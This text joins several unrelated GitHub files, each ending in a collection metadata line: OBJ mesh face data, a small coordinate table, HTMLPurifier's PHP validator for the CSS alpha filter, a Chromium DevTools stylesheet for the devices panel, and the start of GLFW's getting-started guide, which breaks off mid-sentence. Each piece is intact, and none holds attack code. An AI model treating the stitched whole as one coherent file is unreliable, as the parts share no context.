f 148//148 160//148 161//148
f 148//148 161//148 149//148
f 149//149 161//149 162//149
f 149//149 162//149 150//149
f 150//150 162//150 163//150
f 150//150 163//150 151//150
f 151//151 163//151 164//151
f 151//151 164//151 152//151
f 152//152 164//152 165//152
f 152//152 165//152 153//152
f 153//153 165//153 166//153
f 153//153 166//153 154//153
f 154//154 166//154 167//154
f 154//154 167//154 155//154
f 155//155 167//155 168//155
f 155//155 168//155 156//155
f 156//156 168//156 157//156
f 156//156 157//156 145//156
f 157//157 169//157 170//157
f 157//157 170//157 158//157
f 158//158 170//158 171//158
f 158//158 171//158 159//158
f 159//159 171//159 172//159
f 159//159 172//159 160//159
f 160//160 172//160 173//160
f 160//160 173//160 161//160
f 161//161 173//161 174//161
f 161//161 174//161 162//161
f 162//162 174//162 175//162
f 162//162 175//162 163//162
f 163//163 175//163 176//163
f 163//163 176//163 164//163
f 164//164 176//164 177//164
f 164//164 177//164 165//164
f 165//165 177//165 178//165
f 165//165 178//165 166//165
f 166//166 178//166 179//166
f 166//166 179//166 167//166
f 167//167 179//167 180//167
f 167//167 180//167 168//167
f 168//168 180//168 169//168
f 168//168 169//168 157//168
f 169//169 181//169 182//169
f 169//169 182//169 170//169
f 170//170 182//170 183//170
f 170//170 183//170 171//170
f 171//171 183//171 184//171
f 171//171 184//171 172//171
f 172//172 184//172 185//172
f 172//172 185//172 173//172
f 173//173 185//173 186//173
f 173//173 186//173 174//173
f 174//174 186//174 187//174
f 174//174 187//174 175//174
f 175//175 187//175 188//175
f 175//175 188//175 176//175
f 176//176 188//176 189//176
f 176//176 189//176 177//176
f 177//177 189//177 190//177
f 177//177 190//177 178//177
f 178//178 190//178 191//178
f 178//178 191//178 179//178
f 179//179 191//179 192//179
f 179//179 192//179 180//179
f 180//180 192//180 181//180
f 180//180 181//180 169//180
f 181//181 193//181 194//181
f 181//181 194//181 182//181
f 182//182 194//182 195//182
f 182//182 195//182 183//182
f 183//183 195//183 196//183
f 183//183 196//183 184//183
f 184//184 196//184 197//184
f 184//184 197//184 185//184
f 185//185 197//185 198//185
f 185//185 198//185 186//185
f 186//186 198//186 199//186
f 186//186 199//186 187//186
f 187//187 199//187 200//187
f 187//187 200//187 188//187
f 188//188 200//188 201//188
f 188//188 201//188 189//188
f 189//189 201//189 202//189
f 189//189 202//189 190//189
f 190//190 202//190 203//190
f 190//190 203//190 191//190
f 191//191 203//191 204//191
f 191//191 204//191 192//191
f 192//192 204//192 193//192
f 192//192 193//192 181//192
f 193//193 205//193 206//193
f 193//193 206//193 194//193
f 194//194 206//194 207//194
f 194//194 207//194 195//194
f 195//195 207//195 208//195
f 195//195 208//195 196//195
f 196//196 208//196 209//196
f 196//196 209//196 197//196
f 197//197 209//197 210//197
f 197//197 210//197 198//197
f 198//198 210//198 211//198
f 198//198 211//198 199//198
f 199//199 211//199 212//199
f 199//199 212//199 200//199
f 200//200 212//200 213//200
f 200//200 213//200 201//200
f 201//201 213//201 214//201
f 201//201 214//201 202//201
f 202//202 214//202 215//202
f 202//202 215//202 203//202
f 203//203 215//203 216//203
f 203//203 216//203 204//203
f 204//204 216//204 205//204
f 204//204 205//204 193//204
f 205//205 217//205 218//205
f 205//205 218//205 206//205
f 206//206 218//206 219//206
f 206//206 219//206 207//206
f 207//207 219//207 220//207
f 207//207 220//207 208//207
f 208//208 220//208 221//208
f 208//208 221//208 209//208
f 209//209 221//209 222//209
f 209//209 222//209 210//209
f 210//210 222//210 223//210
f 210//210 223//210 211//210
f 211//211 223//211 224//211
f 211//211 224//211 212//211
f 212//212 224//212 225//212
f 212//212 225//212 213//212
f 213//213 225//213 226//213
f 213//213 226//213 214//213
f 214//214 226//214 227//214
f 214//214 227//214 215//214
f 215//215 227//215 228//215
f 215//215 228//215 216//215
f 216//216 228//216 217//216
f 216//216 217//216 205//216
f 217//217 229//217 230//217
f 217//217 230//217 218//217
f 218//218 230//218 231//218
f 218//218 231//218 219//218
f 219//219 231//219 232//219
f 219//219 232//219 220//219
f 220//220 232//220 233//220
f 220//220 233//220 221//220
f 221//221 233//221 234//221
f 221//221 234//221 222//221
f 222//222 234//222 235//222
f 222//222 235//222 223//222
f 223//223 235//223 236//223
f 223//223 236//223 224//223
f 224//224 236//224 237//224
f 224//224 237//224 225//224
f 225//225 237//225 238//225
f 225//225 238//225 226//225
f 226//226 238//226 239//226
f 226//226 239//226 227//226
f 227//227 239//227 240//227
f 227//227 240//227 228//227
f 228//228 240//228 229//228
f 228//228 229//228 217//228
f 229//229 241//229 242//229
f 229//229 242//229 230//229
f 230//230 242//230 243//230
f 230//230 243//230 231//230
f 231//231 243//231 244//231
f 231//231 244//231 232//231
f 232//232 244//232 245//232
f 232//232 245//232 233//232
f 233//233 245//233 246//233
f 233//233 246//233 234//233
f 234//234 246//234 247//234
f 234//234 247//234 235//234
f 235//235 247//235 248//235
f 235//235 248//235 236//235
f 236//236 248//236 249//236
f 236//236 249//236 237//236
f 237//237 249//237 250//237
f 237//237 250//237 238//237
f 238//238 250//238 251//238
f 238//238 251//238 239//238
f 239//239 251//239 252//239
f 239//239 252//239 240//239
f 240//240 252//240 241//240
f 240//240 241//240 229//240
f 241//241 253//241 254//241
f 241//241 254//241 242//241
f 242//242 254//242 255//242
f 242//242 255//242 243//242
f 243//243 255//243 256//243
f 243//243 256//243 244//243
f 244//244 256//244 257//244
f 244//244 257//244 245//244
f 245//245 257//245 258//245
f 245//245 258//245 246//245
f 246//246 258//246 259//246
f 246//246 259//246 247//246
f 247//247 259//247 260//247
f 247//247 260//247 248//247
f 248//248 260//248 261//248
f 248//248 261//248 249//248
f 249//249 261//249 262//249
f 249//249 262//249 250//249
f 250//250 262//250 263//250
f 250//250 263//250 251//250
f 251//251 263//251 264//251
f 251//251 264//251 252//251
f 252//252 264//252 253//252
f 252//252 253//252 241//252
f 253//253 265//253 266//253
f 253//253 266//253 254//253
f 254//254 266//254 267//254
f 254//254 267//254 255//254
f 255//255 267//255 268//255
f 255//255 268//255 256//255
f 256//256 268//256 269//256
f 256//256 269//256 257//256
f 257//257 269//257 270//257
f 257//257 270//257 258//257
f 258//258 270//258 271//258
f 258//258 271//258 259//258
f 259//259 271//259 272//259
f 259//259 272//259 260//259
f 260//260 272//260 273//260
f 260//260 273//260 261//260
f 261//261 273//261 274//261
f 261//261 274//261 262//261
f 262//262 274//262 275//262
f 262//262 275//262 263//262
f 263//263 275//263 276//263
f 263//263 276//263 264//263
f 264//264 276//264 265//264
f 264//264 265//264 253//264
f 265//265 277//265 278//265
f 265//265 278//265 266//265
f 266//266 278//266 279//266
f 266//266 279//266 267//266
f 267//267 279//267 280//267
f 267//267 280//267 268//267
f 268//268 280//268 281//268
f 268//268 281//268 269//268
f 269//269 281//269 282//269
f 269//269 282//269 270//269
f 270//270 282//270 283//270
f 270//270 283//270 271//270
f 271//271 283//271 284//271
f 271//271 284//271 272//271
f 272//272 284//272 285//272
f 272//272 285//272 273//272
f 273//273 285//273 286//273
f 273//273 286//273 274//273
f 274//274 286//274 287//274
f 274//274 287//274 275//274
f 275//275 287//275 288//275
f 275//275 288//275 276//275
f 276//276 288//276 277//276
f 276//276 277//276 265//276
f 277//277 289//277 290//277
f 277//277 290//277 278//277
f 278//278 290//278 291//278
f 278//278 291//278 279//278
f 279//279 291//279 292//279
f 279//279 292//279 280//279
f 280//280 292//280 293//280
f 280//280 293//280 281//280
f 281//281 293//281 294//281
f 281//281 294//281 282//281
f 282//282 294//282 295//282
f 282//282 295//282 283//282
f 283//283 295//283 296//283
f 283//283 296//283 284//283
f 284//284 296//284 297//284
f 284//284 297//284 285//284
f 285//285 297//285 298//285
f 285//285 298//285 286//285
f 286//286 298//286 299//286
f 286//286 299//286 287//286
f 287//287 299//287 300//287
f 287//287 300//287 288//287
f 288//288 300//288 289//288
f 288//288 289//288 277//288
f 289//289 301//289 302//289
f 289//289 302//289 290//289
f 290//290 302//290 303//290
f 290//290 303//290 291//290
f 291//4 303//4 304//4
f 291//4 304//4 292//4
f 292//3 304//3 305//3
f 292//3 305//3 293//3
f 293//291 305//291 306//291
f 293//291 306//291 294//291
f 294//292 306//292 307//292
f 294//292 307//292 295//292
f 295//293 307//293 308//293
f 295//293 308//293 296//293
f 296//294 308//294 309//294
f 296//294 309//294 297//294
f 297//10 309//10 310//10
f 297//10 310//10 298//10
f 298//9 310//9 311//9
f 298//9 311//9 299//9
f 299//295 311//295 312//295
f 299//295 312//295 300//295
f 300//296 312//296 301//296
f 300//296 301//296 289//296
f 301//18 313//18 314//18
f 301//18 314//18 302//18
f 302//297 314//297 315//297
f 302//297 315//297 303//297
f 303//16 315//16 316//16
f 303//16 316//16 304//16
f 304//15 316//15 317//15
f 304//15 317//15 305//15
f 305//298 317//298 318//298
f 305//298 318//298 306//298
f 306//299 318//299 319//299
f 306//299 319//299 307//299
f 307//300 319//300 320//300
f 307//300 320//300 308//300
f 308//301 320//301 321//301
f 308//301 321//301 309//301
f 309//22 321//22 322//22
f 309//22 322//22 310//22
f 310//21 322//21 323//21
f 310//21 323//21 311//21
f 311//302 323//302 324//302
f 311//302 324//302 312//302
f 312//19 324//19 313//19
f 312//19 313//19 301//19
f 313//303 325//303 326//303
f 313//303 326//303 314//303
f 314//304 326//304 327//304
f 314//304 327//304 315//304
f 315//28 327//28 328//28
f 315//28 328//28 316//28
f 316//27 328//27 329//27
f 316//27 329//27 317//27
f 317//305 329//305 330//305
f 317//305 330//305 318//305
f 318//25 330//25 331//25
f 318//25 331//25 319//25
f 319//36 331//36 332//36
f 319//36 332//36 320//36
f 320//306 332//306 333//306
f 320//306 333//306 321//306
f 321//34 333//34 334//34
f 321//34 334//34 322//34
f 322//33 334//33 335//33
f 322//33 335//33 323//33
f 323//307 335//307 336//307
f 323//307 336//307 324//307
f 324//308 336//308 325//308
f 324//308 325//308 313//308
f 325//309 337//309 338//309
f 325//309 338//309 326//309
f 326//41 338//41 339//41
f 326//41 339//41 327//41
f 327//40 339//40 340//40
f 327//40 340//40 328//40
f 328//39 340//39 341//39
f 328//39 341//39 329//39
f 329//38 341//38 342//38
f 329//38 342//38 330//38
f 330//310 342//310 343//310
f 330//310 343//310 331//310
f 331//311 343//311 344//311
f 331//311 344//311 332//311
f 332//47 344//47 345//47
f 332//47 345//47 333//47
f 333//46 345//46 346//46
f 333//46 346//46 334//46
f 334//45 346//45 347//45
f 334//45 347//45 335//45
f 335//44 347//44 348//44
f 335//44 348//44 336//44
f 336//312 348//312 337//312
f 336//312 337//312 325//312
f 337//313 349//313 350//313
f 337//313 350//313 338//313
f 338//314 350//314 351//314
f 338//314 351//314 339//314
f 339//52 351//52 352//52
f 339//52 352//52 340//52
f 340//51 352//51 353//51
f 340//51 353//51 341//51
f 341//50 353//50 354//50
f 341//50 354//50 342//50
f 342//315 354//315 355//315
f 342//315 355//315 343//315
f 343//316 355//316 356//316
f 343//316 356//316 344//316
f 344//59 356//59 357//59
f 344//59 357//59 345//59
f 345//58 357//58 358//58
f 345//58 358//58 346//58
f 346//57 358//57 359//57
f 346//57 359//57 347//57
f 347//317 359//317 360//317
f 347//317 360//317 348//317
f 348//318 360//318 349//318
f 348//318 349//318 337//318
f 349//319 361//319 362//319
f 349//319 362//319 350//319
f 350//320 362//320 363//320
f 350//320 363//320 351//320
f 351//64 363//64 364//64
f 351//64 364//64 352//64
f 352//63 364//63 365//63
f 352//63 365//63 353//63
f 353//62 365//62 366//62
f 353//62 366//62 354//62
f 354//321 366//321 367//321
f 354//321 367//321 355//321
f 355//322 367//322 368//322
f 355//322 368//322 356//322
f 356//71 368//71 369//71
f 356//71 369//71 357//71
f 357//70 369//70 370//70
f 357//70 370//70 358//70
f 358//69 370//69 371//69
f 358//69 371//69 359//69
f 359//323 371//323 372//323
f 359//323 372//323 360//323
f 360//324 372//324 361//324
f 360//324 361//324 349//324
f 361//78 373//78 374//78
f 361//78 374//78 362//78
f 362//325 374//325 375//325
f 362//325 375//325 363//325
f 363//76 375//76 376//76
f 363//76 376//76 364//76
f 364//75 376//75 377//75
f 364//75 377//75 365//75
f 365//74 377//74 378//74
f 365//74 378//74 366//74
f 366//326 378//326 379//326
f 366//326 379//326 367//326
f 367//327 379//327 380//327
f 367//327 380//327 368//327
f 368//83 380//83 381//83
f 368//83 381//83 369//83
f 369//82 381//82 382//82
f 369//82 382//82 370//82
f 370//81 382//81 383//81
f 370//81 383//81 371//81
f 371//328 383//328 384//328
f 371//328 384//328 372//328
f 372//79 384//79 373//79
f 372//79 373//79 361//79
f 373//90 385//90 386//90
f 373//90 386//90 374//90
f 374//329 386//329 387//329
f 374//329 387//329 375//329
f 375//88 387//88 388//88
f 375//88 388//88 376//88
f 376//87 388//87 389//87
f 376//87 389//87 377//87
f 377//86 389//86 390//86
f 377//86 390//86 378//86
f 378//330 390//330 391//330
f 378//330 391//330 379//330
f 379//331 391//331 392//331
f 379//331 392//331 380//331
f 380//95 392//95 393//95
f 380//95 393//95 381//95
f 381//94 393//94 394//94
f 381//94 394//94 382//94
f 382//93 394//93 395//93
f 382//93 395//93 383//93
f 383//332 395//332 396//332
f 383//332 396//332 384//332
f 384//91 396//91 385//91
f 384//91 385//91 373//91
f 385//102 397//102 398//102
f 385//102 398//102 386//102
f 386//333 398//333 399//333
f 386//333 399//333 387//333
f 387//100 399//100 400//100
f 387//100 400//100 388//100
f 388//99 400//99 401//99
f 388//99 401//99 389//99
f 389//98 401//98 402//98
f 389//98 402//98 390//98
f 390//334 402//334 403//334
f 390//334 403//334 391//334
f 391//335 403//335 404//335
f 391//335 404//335 392//335
f 392//107 404//107 405//107
f 392//107 405//107 393//107
f 393//106 405//106 406//106
f 393//106 406//106 394//106
f 394//105 406//105 407//105
f 394//105 407//105 395//105
f 395//336 407//336 408//336
f 395//336 408//336 396//336
f 396//103 408//103 397//103
f 396//103 397//103 385//103
f 397//337 409//337 410//337
f 397//337 410//337 398//337
f 398//338 410//338 411//338
f 398//338 411//338 399//338
f 399//112 411//112 412//112
f 399//112 412//112 400//112
f 400//111 412//111 413//111
f 400//111 413//111 401//111
f 401//110 413//110 414//110
f 401//110 414//110 402//110
f 402//339 414//339 415//339
f 402//339 415//339 403//339
f 403//340 415//340 416//340
f 403//340 416//340 404//340
f 404//119 416//119 417//119
f 404//119 417//119 405//119
f 405//118 417//118 418//118
f 405//118 418//118 406//118
f 406//117 418//117 419//117
f 406//117 419//117 407//117
f 407//341 419//341 420//341
f 407//341 420//341 408//341
f 408//342 420//342 409//342
f 408//342 409//342 397//342
f 409//343 421//343 422//343
f 409//343 422//343 410//343
f 410//125 422//125 423//125
f 410//125 423//125 411//125
f 411//124 423//124 424//124
f 411//124 424//124 412//124
f 412//123 424//123 425//123
f 412//123 425//123 413//123
f 413//344 425//344 426//344
f 413//344 426//344 414//344
f 414//121 426//121 427//121
f 414//121 427//121 415//121
f 415//132 427//132 428//132
f 415//132 428//132 416//132
f 416//345 428//345 429//345
f 416//345 429//345 417//345
f 417//130 429//130 430//130
f 417//130 430//130 418//130
f 418//129 430//129 431//129
f 418//129 431//129 419//129
f 419//128 431//128 432//128
f 419//128 432//128 420//128
f 420//346 432//346 421//346
f 420//346 421//346 409//346
f 421//347 433//347 434//347
f 421//347 434//347 422//347
f 422//348 434//348 435//348
f 422//348 435//348 423//348
f 423//349 435//349 436//349
f 423//349 436//349 424//349
f 424//135 436//135 437//135
f 424//135 437//135 425//135
f 425//350 437//350 438//350
f 425//350 438//350 426//350
f 426//351 438//351 439//351
f 426//351 439//351 427//351
f 427//352 439//352 440//352
f 427//352 440//352 428//352
f 428//353 440//353 441//353
f 428//353 441//353 429//353
f 429//142 441//142 442//142
f 429//142 442//142 430//142
f 430//354 442//354 443//354
f 430//354 443//354 431//354
f 431//355 443//355 444//355
f 431//355 444//355 432//355
f 432//356 444//356 433//356
f 432//356 433//356 421//356
f 433//150 445//150 446//150
f 433//150 446//150 434//150
f 434//357 446//357 447//357
f 434//357 447//357 435//357
f 435//148 447//148 448//148
f 435//148 448//148 436//148
f 436//358 448//358 449//358
f 436//358 449//358 437//358
f 437//359 449//359 450//359
f 437//359 450//359 438//359
f 438//145 450//145 451//145
f 438//145 451//145 439//145
f 439//156 451//156 452//156
f 439//156 452//156 440//156
f 440//360 452//360 453//360
f 440//360 453//360 441//360
f 441//361 453//361 454//361
f 441//361 454//361 442//361
f 442//153 454//153 455//153
f 442//153 455//153 443//153
f 443//362 455//362 456//362
f 443//362 456//362 444//362
f 444//151 456//151 445//151
f 444//151 445//151 433//151
f 445//363 457//363 458//363
f 445//363 458//363 446//363
f 446//161 458//161 459//161
f 446//161 459//161 447//161
f 447//160 459//160 460//160
f 447//160 460//160 448//160
f 448//159 460//159 461//159
f 448//159 461//159 449//159
f 449//364 461//364 462//364
f 449//364 462//364 450//364
f 450//365 462//365 463//365
f 450//365 463//365 451//365
f 451//366 463//366 464//366
f 451//366 464//366 452//366
f 452//367 464//367 465//367
f 452//367 465//367 453//367
f 453//166 465//166 466//166
f 453//166 466//166 454//166
f 454//165 466//165 467//165
f 454//165 467//165 455//165
f 455//164 467//164 468//164
f 455//164 468//164 456//164
f 456//368 468//368 457//368
f 456//368 457//368 445//368
f 457//174 469//174 470//174
f 457//174 470//174 458//174
f 458//369 470//369 471//369
f 458//369 471//369 459//369
f 459//172 471//172 472//172
f 459//172 472//172 460//172
f 460//171 472//171 473//171
f 460//171 473//171 461//171
f 461//370 473//370 474//370
f 461//370 474//370 462//370
f 462//371 474//371 475//371
f 462//371 475//371 463//371
f 463//372 475//372 476//372
f 463//372 476//372 464//372
f 464//373 476//373 477//373
f 464//373 477//373 465//373
f 465//178 477//178 478//178
f 465//178 478//178 466//178
f 466//177 478//177 479//177
f 466//177 479//177 467//177
f 467//374 479//374 480//374
f 467//374 480//374 468//374
f 468//175 480//175 469//175
f 468//175 469//175 457//175
f 469//375 481//375 482//375
f 469//375 482//375 470//375
f 470//185 482//185 483//185
f 470//185 483//185 471//185
f 471//184 483//184 484//184
f 471//184 484//184 472//184
f 472//183 484//183 485//183
f 472//183 485//183 473//183
f 473//376 485//376 486//376
f 473//376 486//376 474//376
f 474//181 486//181 487//181
f 474//181 487//181 475//181
f 475//192 487//192 488//192
f 475//192 488//192 476//192
f 476//377 488//377 489//377
f 476//377 489//377 477//377
f 477//190 489//190 490//190
f 477//190 490//190 478//190
f 478//189 490//189 491//189
f 478//189 491//189 479//189
f 479//188 491//188 492//188
f 479//188 492//188 480//188
f 480//378 492//378 481//378
f 480//378 481//378 469//378
f 481//379 493//379 494//379
f 481//379 494//379 482//379
f 482//197 494//197 495//197
f 482//197 495//197 483//197
f 483//196 495//196 496//196
f 483//196 496//196 484//196
f 484//195 496//195 497//195
f 484//195 497//195 485//195
f 485//380 497//380 498//380
f 485//380 498//380 486//380
f 486//381 498//381 499//381
f 486//381 499//381 487//381
f 487//382 499//382 500//382
f 487//382 500//382 488//382
f 488//383 500//383 501//383
f 488//383 501//383 489//383
f 489//202 501//202 502//202
f 489//202 502//202 490//202
f 490//201 502//201 503//201
f 490//201 503//201 491//201
f 491//200 503//200 504//200
f 491//200 504//200 492//200
f 492//384 504//384 493//384
f 492//384 493//384 481//384
f 493//385 505//385 506//385
f 493//385 506//385 494//385
f 494//386 506//386 507//386
f 494//386 507//386 495//386
f 495//208 507//208 508//208
f 495//208 508//208 496//208
f 496//207 508//207 509//207
f 496//207 509//207 497//207
f 497//206 509//206 510//206
f 497//206 510//206 498//206
f 498//387 510//387 511//387
f 498//387 511//387 499//387
f 499//388 511//388 512//388
f 499//388 512//388 500//388
f 500//215 512//215 513//215
f 500//215 513//215 501//215
f 501//214 513//214 514//214
f 501//214 514//214 502//214
f 502//213 514//213 515//213
f 502//213 515//213 503//213
f 503//389 515//389 516//389
f 503//389 516//389 504//389
f 504//390 516//390 505//390
f 504//390 505//390 493//390
f 505//222 517//222 518//222
f 505//222 518//222 506//222
f 506//391 518//391 519//391
f 506//391 519//391 507//391
f 507//220 519//220 520//220
f 507//220 520//220 508//220
f 508//219 520//219 521//219
f 508//219 521//219 509//219
f 509//218 521//218 522//218
f 509//218 522//218 510//218
f 510//392 522//392 523//392
f 510//392 523//392 511//392
f 511//393 523//393 524//393
f 511//393 524//393 512//393
f 512//227 524//227 525//227
f 512//227 525//227 513//227
f 513//226 525//226 526//226
f 513//226 526//226 514//226
f 514//225 526//225 527//225
f 514//225 527//225 515//225
f 515//394 527//394 528//394
f 515//394 528//394 516//394
f 516//223 528//223 517//223
f 516//223 517//223 505//223
f 517//395 529//395 530//395
f 517//395 530//395 518//395
f 518//233 530//233 531//233
f 518//233 531//233 519//233
f 519//232 531//232 532//232
f 519//232 532//232 520//232
f 520//231 532//231 533//231
f 520//231 533//231 521//231
f 521//396 533//396 534//396
f 521//396 534//396 522//396
f 522//397 534//397 535//397
f 522//397 535//397 523//397
f 523//398 535//398 536//398
f 523//398 536//398 524//398
f 524//399 536//399 537//399
f 524//399 537//399 525//399
f 525//238 537//238 538//238
f 525//238 538//238 526//238
f 526//237 538//237 539//237
f 526//237 539//237 527//237
f 527//236 539//236 540//236
f 527//236 540//236 528//236
f 528//400 540//400 529//400
f 528//400 529//400 517//400
f 529//401 541//401 542//401
f 529//401 542//401 530//401
f 530//402 542//402 543//402
f 530//402 543//402 531//402
f 531//244 543//244 544//244
f 531//244 544//244 532//244
f 532//403 544//403 545//403
f 532//403 545//403 533//403
f 533//404 545//404 546//404
f 533//404 546//404 534//404
f 534//241 546//241 547//241
f 534//241 547//241 535//241
f 535//252 547//252 548//252
f 535//252 548//252 536//252
f 536//405 548//405 549//405
f 536//405 549//405 537//405
f 537//406 549//406 550//406
f 537//406 550//406 538//406
f 538//249 550//249 551//249
f 538//249 551//249 539//249
f 539//407 551//407 552//407
f 539//407 552//407 540//407
f 540//408 552//408 541//408
f 540//408 541//408 529//408
f 541//409 553//409 554//409
f 541//409 554//409 542//409
f 542//410 554//410 555//410
f 542//410 555//410 543//410
f 543//256 555//256 556//256
f 543//256 556//256 544//256
f 544//411 556//411 557//411
f 544//411 557//411 545//411
f 545//412 557//412 558//412
f 545//412 558//412 546//412
f 546//253 558//253 559//253
f 546//253 559//253 547//253
f 547//264 559//264 560//264
f 547//264 560//264 548//264
f 548//413 560//413 561//413
f 548//413 561//413 549//413
f 549//414 561//414 562//414
f 549//414 562//414 550//414
f 550//261 562//261 563//261
f 550//261 563//261 551//261
f 551//415 563//415 564//415
f 551//415 564//415 552//415
f 552//416 564//416 553//416
f 552//416 553//416 541//416
f 553//417 565//417 566//417
f 553//417 566//417 554//417
f 554//418 566//418 567//418
f 554//418 567//418 555//418
f 555//268 567//268 568//268
f 555//268 568//268 556//268
f 556//267 568//267 569//267
f 556//267 569//267 557//267
f 557//419 569//419 570//419
f 557//419 570//419 558//419
f 558//420 570//420 571//420
f 558//420 571//420 559//420
f 559//421 571//421 572//421
f 559//421 572//421 560//421
f 560//422 572//422 573//422
f 560//422 573//422 561//422
f 561//274 573//274 574//274
f 561//274 574//274 562//274
f 562//273 574//273 575//273
f 562//273 575//273 563//273
f 563//423 575//423 576//423
f 563//423 576//423 564//423
f 564//424 576//424 565//424
f 564//424 565//424 553//424
f 565//425 1//425 2//425
f 565//425 2//425 566//425
f 566//426 2//426 3//426
f 566//426 3//426 567//426
f 567//280 3//280 4//280
f 567//280 4//280 568//280
f 568//279 4//279 5//279
f 568//279 5//279 569//279
f 569//427 5//427 6//427
f 569//427 6//427 570//427
f 570//428 6//428 7//428
f 570//428 7//428 571//428
f 571//429 7//429 8//429
f 571//429 8//429 572//429
f 572//430 8//430 9//430
f 572//430 9//430 573//430
f 573//286 9//286 10//286
f 573//286 10//286 574//286
f 574//285 10//285 11//285
f 574//285 11//285 575//285
f 575//431 11//431 12//431
f 575//431 12//431 576//431
f 576//432 12//432 1//432
f 576//432 1//432 565//432
| {
"pile_set_name": "Github"
} |
0. 0.
1000. 0.
1. -99999
0. 500.
1000. 500.
1. -99999
0. 1000.
1000. 1000.
1. -99999
0. 1500.
1000. 1500.
1. -99999
0. 2000.
1000. 2000.
1. -99999
0. 2500.
1000. 2500.
1. -99999
0. 3000.
1000. 3000.
| {
"pile_set_name": "Github"
} |
<?php
/**
* Microsoft's proprietary filter: CSS property
* @note Currently supports the alpha filter. In the future, this will
* probably need an extensible framework
*/
class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_AttrDef_Integer
*/
protected $intValidator;
public function __construct()
{
$this->intValidator = new HTMLPurifier_AttrDef_Integer();
}
/**
* @param string $value
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($value, $config, $context)
{
$value = $this->parseCDATA($value);
if ($value === 'none') {
return $value;
}
// if we looped this we could support multiple filters
$function_length = strcspn($value, '(');
$function = trim(substr($value, 0, $function_length));
if ($function !== 'alpha' &&
$function !== 'Alpha' &&
$function !== 'progid:DXImageTransform.Microsoft.Alpha'
) {
return false;
}
$cursor = $function_length + 1;
$parameters_length = strcspn($value, ')', $cursor);
$parameters = substr($value, $cursor, $parameters_length);
$params = explode(',', $parameters);
$ret_params = array();
$lookup = array();
foreach ($params as $param) {
list($key, $value) = explode('=', $param);
$key = trim($key);
$value = trim($value);
if (isset($lookup[$key])) {
continue;
}
if ($key !== 'opacity') {
continue;
}
$value = $this->intValidator->validate($value, $config, $context);
if ($value === false) {
continue;
}
$int = (int)$value;
if ($int > 100) {
$value = '100';
}
if ($int < 0) {
$value = '0';
}
$ret_params[] = "$key=$value";
$lookup[$key] = true;
}
$ret_parameters = implode(',', $ret_params);
$ret_function = "$function($ret_parameters)";
return $ret_function;
}
}
// vim: et sw=4 sts=4
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2015 The Chromium Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
.devices-view {
padding-top: 15px;
}
.devices-sidebar {
flex: 0 0 150px;
display: flex;
flex-direction: column;
align-items: stretch;
}
.devices-sidebar-list {
flex: none;
display: flex;
flex-direction: column;
align-items: stretch;
}
.devices-sidebar-item {
color: #222 !important;
padding: 6px 6px 6px 16px;
flex: auto;
display: flex;
flex-direction: column;
justify-content: center;
font-size: 14px;
}
.devices-sidebar-item.selected {
border-left: 6px solid #666 !important;
padding-left: 10px;
}
.devices-sidebar-item-status {
font-size: 11px;
}
.devices-sidebar-item-status:before {
content: "\25cf";
font-size: 16px;
color: red;
position: relative;
top: 1px;
margin-right: 2px;
}
.devices-sidebar-item.device-connected .devices-sidebar-item-status:before {
color: green;
}
.devices-sidebar-spacer {
flex: none;
}
.devices-view-title {
font-size: 16px;
margin: 0 0 15px 15px;
padding-top: 1px;
}
.view-title {
font-size: 16px;
}
.devices-footer {
border-top: 1px solid #cdcdcd;
background-color: #f3f3f3;
flex: none;
padding: 3px 10px;
}
.devices-footer > span {
white-space: pre;
}
.usb-checkbox {
padding-bottom: 8px;
}
.port-forwarding-header {
display: flex;
align-items: center;
flex-direction: row;
margin-top: 5px;
}
.add-rule-button {
margin: 10px 25px;
align-self: flex-start;
}
.discovery-help {
margin: 5px 0 25px 25px;
}
.discovery-help > span {
white-space: pre;
}
.port-forwarding-list {
margin: 10px 0 0 25px;
max-width: 500px;
flex: 0 1 auto;
}
.port-forwarding-list-empty {
flex: auto;
height: 30px;
display: flex;
align-items: center;
justify-content: center;
}
.port-forwarding-list-item {
padding: 3px 5px 3px 5px;
height: 30px;
display: flex;
align-items: center;
position: relative;
flex: auto 1 1;
}
.port-forwarding-value {
white-space: nowrap;
text-overflow: ellipsis;
-webkit-user-select: none;
color: #222;
flex: 3 1 0;
overflow: hidden;
}
.port-forwarding-value.port-forwarding-port {
flex: 1 1 0;
}
.port-localhost {
color: #aaa;
}
.port-forwarding-separator {
flex: 0 0 1px;
background-color: rgb(231, 231, 231);
height: 30px;
margin: 0 4px;
}
.port-forwarding-separator-invisible {
visibility: hidden;
height: 100% !important;
}
.port-forwarding-edit-row {
flex: none;
display: flex;
flex-direction: row;
margin: 6px 5px;
align-items: center;
}
.port-forwarding-edit-row input {
width: 100%;
text-align: inherit;
}
.port-forwarding-footer {
overflow: hidden;
margin: 15px 0 0 25px;
max-width: 500px;
}
.port-forwarding-footer > * {
white-space: pre-wrap;
}
.device-view {
overflow: auto;
-webkit-user-select: text;
}
.device-text-row {
align-items: baseline;
margin-bottom: 20px;
}
.device-serial {
color: #777;
margin-left: 5px;
}
.device-browser-list {
flex: auto;
overflow: auto;
}
.device-browser-list > div {
margin-bottom: 15px;
}
.device-browser-title {
font-size: larger;
}
.device-page-list {
margin-top: 10px;
overflow-x: auto;
align-items: stretch;
flex: none;
}
.device-page-list > div {
padding: 5px;
overflow: visible;
flex: none;
}
.device-page-list > div:hover {
background-color: #f3f3f3;
}
.device-page-actions {
justify-content: flex-start;
}
.device-page-actions > .link {
margin-right: 8px;
}
.device-page-url {
margin: 3px 0;
}
.device-page-url a {
display: block;
color: #777;
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
}
| {
"pile_set_name": "Github"
} |
/*!
@page quick_guide Getting started
@tableofcontents
This guide takes you through writing a simple application using GLFW 3. The
application will create a window and OpenGL context, render a rotating triangle
and exit when the user closes the window or presses _Escape_. This guide will
introduce a few of the most commonly used functions, but there are many more.
This guide assumes no experience with earlier versions of GLFW. If you
have used GLFW 2 in the past, read @ref moving_guide, as some functions
behave differently in GLFW 3.
@section quick_steps Step by step
@subsection quick_include Including the GLFW header
In the source files of your application where you use OpenGL or GLFW, you need
to include the GLFW 3 header file.
@code
#include <GLFW/glfw3.h>
@endcode
This defines all the constants, types and function prototypes of the GLFW API.
It also includes the OpenGL header from your development environment and
defines all the constants and types necessary for it to work on your platform
